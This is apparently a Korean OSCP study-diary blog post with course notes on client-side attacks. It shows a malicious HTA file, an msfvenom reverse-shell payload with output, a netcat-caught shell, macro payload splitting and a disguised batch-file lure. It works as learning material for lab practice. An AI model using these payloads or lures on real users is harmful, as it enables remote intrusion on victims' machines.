시험 때 제출해야 하는 주 보고서 말고

lab 머신 10개 이상 공략 + 문서 내에 있는

모든 exercise를 해결한 보고서를 추가로 제출하면

가산점으로 5점을 주는데 (모두 제대로 푼 경우)

나는 멋대로 이 기준을 lab 머신 10개라고만

생각하고 있었다.

 

 

 

중간중간 Exercise에

'이건 보고서로 작성하지 않아도 된다'

라는 문구가 섞여 있었는데 보면서 응? 뭐라고?

하며 넘겼다가 아무래도 찝찝해 오늘 다시 읽어보니

 

 

가산점을 받으려면

랩 머신 10개 이상 공략 성공 보고서 '그리고'

모든 exercise를 다 풀었다는 보고서를

제출해야 하는 것.

 

 

안일했다.

 

 

지금까지 개인적으로 중요하다고

생각이 드는 것만 내 방식대로 복습했었고

기록은 간단히 블로그에만 해왔는데

이런...

 

 

그 덕에 처음부터 부랴부랴

보고서를 추가로 작성하기 시작했는데

이 작업, 시간이 또 제법 걸린다.

 

 

아무래도 영어라 문제를

올바르게 해석하는데도 시간이 걸리고

당연히 문제를 푸는데도 시간이 걸린다.

보고서 작성하는 것도 마찬가지..

 

 

현재 진도는 총 25 챕터 중 15챕터까지,

문서 + 동영상 포함 456쪽까지 나갔고

exercise는 4챕터까지 밖에 못 끝냈다.

 

 

약속의 시간이 끝났지만 다 마치려면

최소 닷새는 더 걸릴듯하다.

이럴 수가..

 

 

그냥 5점을 포기할까도 생각했지만

가산점을 받고 안 받고를 떠나

성격상 뭐가 있는데 안 하고 넘어가는 걸

못 견디는 성격이라 그냥 공부하는 마음으로

하기로 했다.

 

 

실제로 배우는 게 많기도 하고

차라리 잘 되었다.

 

 

아무리 생각해 봐도 한 달짜리

끊었음 정말 큰일 날 뻔했다.

 

 

 

오늘도 수고했다.

 

 

 

 


 

 

 

1. CLIENT-SIDE ATTACKS

"Time spend doing research is never waisted."

 

 

- Passive Client Information Gathering

- Active Client Information Gathering

- Social Engineering and Client-side attacks

- Client Fingerprinting (wget https://github.com/Valve/fingerprintjs2/archive/master.zip)

 

 

 


 

 

1) Leveraging HTML Applications

 

a) 기본 커맨드 프롬프트 실행 스크립트 cmd.hta

<html>
<head>

<script>
  var c= 'cmd.exe'
  new ActiveXObject('WScript.Shell').Run(c);
</script>

</head>
<body>

<script>
  self.close();
</script>

</body>
</html>

 

이 파일에 접근해 실행시키면 접속됨

 

 

 

b) HTA Attack in Action :

기본 HTML application을 공격 구문으로 바꿔 사용.

create hta payload based on PowerShell

kali@kali:~$ sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f
hta-psh -o /var/www/html/evil.hta
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of hta-psh file: 6461 bytes
Saved as: /var/www/html/evil.hta


페이로드 분석
$cat evil.hta 
<script language="VBScript">
  window.moveTo -4000, -4000
  Set pGsK3sfdafQ = CreateObject("Wscript.Shell")         // 방화벽,백신, IDS 탐지 우회를 위한 
  Set pIIrp4EtN = CreateObject("Scripting.FileSystemObject")  // 변수이름 랜덤 생성
  For each path in Split(pGsK3sfdafQ.ExpandEnvironmentStrings("%PSModulePath%"),";")
    If pIIrp4EtN.FileExists(path + "\..\powershell.exe") Then 
      pGsK3sfdafQ.Run "powershell.exe -nop -w hidden -e    // -nop noProfile 
                                                        // -w hidden windowStyle hidden
                                 // 제일 중요한 -e EncodedCommand in base64 PowerShell Script
....... AOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbw................................

 

리스너 기동하고

침투 서버에서 해당 파일로 접속해 실행하면

 

┌──(root💀takudaddy)-[~]
└─# nc -lvnp 7979
listening on [any] 7979 ...
connect to [192.168.119.160] from (UNKNOWN) [192.168.160.10] 58826
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\offsec.CLIENT251\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads>ipconfig

 

성공

 

 


 

 

2) Exploiting Microsoft Office

 

a) Microsoft Macro (대표적 attack vector)

python script to split Base64 encoded string

str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZQB3AC....."

n = 50

for i in range(0, len(str), n):
    print "Str = Str + " + '"' + str[i:i+n] + '"'

=========================================
출력 결과

Str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ"
Str = Str + "QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB"
Str = Str + "TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A"
Str = Str + "EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg"
Str = Str + "ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY"
Str = Str + "gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB"
...
Str = Str + "AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac"
Str = Str + "AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB"
Str = Str + "lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA"
Str = Str + "FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA"
Str = Str + "AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK"
Str = Str + "QA="


=================


출력 결과 클립보드로 보내 저장시키는 방법
$ python ./split.py | xclip -selection clipboard

 

 

let's re-establish(launched) our Netcat listener

...we would see that the macro works flawlessly

 

macros 모듈 수정하고

파일 실행하면 수행됨

 

 

 

b) Object Linking and Embedding

C:\Users\offsec.CLIENT251>cd Desktop

C:\Users\offsec.CLIENT251\Desktop>echo START cmd.exe > launce.bat

C:\Users\offsec.CLIENT251\Desktop>

이런 식으로 아이콘 모양으로 바꿔주고

이름도 의심 안 가도록 바꿔준 후

클릭해 실행하도록 만들면 됨.

 

 

c) Evading Protected View

 

 


 

 

 

2. Locating Public Exploits

 

 

1) A word of Caution

 

2) Searching for Exploits :

   a) Online : exploit-db

   b) Offline

    - Searchsploit

    경로 : /usr/share/exploitdb/exploits

 

    - Nmap NSE Scripts

    경로 : /usr/share/nmap/scripts

    사용법 : $ grep Exploits *.nse

    $ nmap --script-help=clamav-exec.nse

 

    - Beef (The Browser Exploitation Framework)

    - The Metasploit Framework

 

 

 

 

728x90

'OSCP > OSCP 공부일지' 카테고리의 다른 글

OSCP Day 8 : 일주일 공부 결산  (2) 2021.05.03
OSCP Day 7  (0) 2021.05.02
OSCP Day 5 : BOF2 (Linux)  (0) 2021.04.30
OSCP Day 4 : BOF (WIN32)  (0) 2021.04.29
OSCP Day 3  (0) 2021.04.27

+ Recent posts